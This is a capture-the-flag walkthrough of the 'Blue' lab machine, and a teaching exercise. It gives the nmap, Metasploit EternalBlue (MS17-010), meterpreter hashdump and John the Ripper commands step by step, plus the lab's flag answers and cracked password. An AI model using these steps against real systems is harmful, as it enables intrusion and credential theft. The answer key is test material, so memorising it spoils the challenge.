BLUE

• Deploy and hack into a Windows machine, leveraging common misconfigurations issues.

Task 1: Recon

• Scan the machine.

nmap -sV -sC — script vuln -oN blue.nmap 10.10.147.79

Q: How many ports are open with a port number under 1000?

A: 3

Scanning the machine using NSE vulnerability script.

Q: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)

A: ms17–010

Vulnerable to ms17–010 aka “EternalBlue”.

Task 2: Gain Access

• Start Metasploit.

msfconsole

search ms17–010

Use 0 name/description to answer next question.

Q: Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)

A: exploit/windows/smb/ms17_010_eternalblue

• Run the following:

use 0

show options

set RHOSTS 10.10.147.79

run

Q: Show options and set the one required value. What is the name of this value? (All caps for submission)

A: RHOSTS

• I think it’s important to note that things do not always pan out or work out the way you expect they might 100% of the time. Take the screenshots taken below for instance. Both brought me to a meterpreter shell with elevated privileges, however one gave me an error and one responded “WIN”. The outcome was the same but the journey was different.

Error to meterpreter.

WIN to meterpreter.

Task 3: Escalate

These steps can be skipped if you already reached meterpreter and escalated privileges.

• Run the following:

shell

whoami

• Drop down a shell and verify you are actually running at “NT AUTHORITY\SYSTEM”. (Use (Ctrl + z) to return to meterpreter session.)

• Run the following:

ps

migrate 1276 (migrating to spoolsv.exe) (Process is not always the same but should typically be in the same general range/start with 12xx.)

getuid (verify you are still in NT AUTHORITY\SYSTEM while in meterpreter.)

• The meterpreter session that you start out with is not always the most stable. If you can, migrate to the spoolsv.exe process. This is the printer process, and it always runs with NT AUTHORITY\SYSTEM. It will also always match the architecture of the system. If you kill this it will respawn and it won’t break your system.

Task 4: Cracking

hashdump

• Copy and paste Jon’s full hash into a file name of your choice into a new terminal not in meterpreter (mine is jripper.hash).

touch jripper.hash

gedit jripper.hash

john jon.hash — format=NT — wordlist=/usr/share/wordlists/rockyou.txt

john jon.hash — show — format=NT

• Ensure your individual path leads to your rockyou.txt location within your filesystem. This location is not universal and may be found somewhere else.

jripper.hash output w/ cracked password.

Q: Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

A: Jon

Q: Copy this password hash to a file and research how to crack it. What is the cracked password?

A: alqfna22

Task 5: Find Flags!

Q: Flag1? This flag can be found at the system root.

A: flag{access_the_machine}

Location: C:\

Q: Flag 2? \Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.*

A: flag{sam_database_elevated_access}

Location: C:\windows\system32\config

Q: flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

A: flag{admin_documents_can_be_valuable}

Location: C:\users\jon\documents

Congratulations!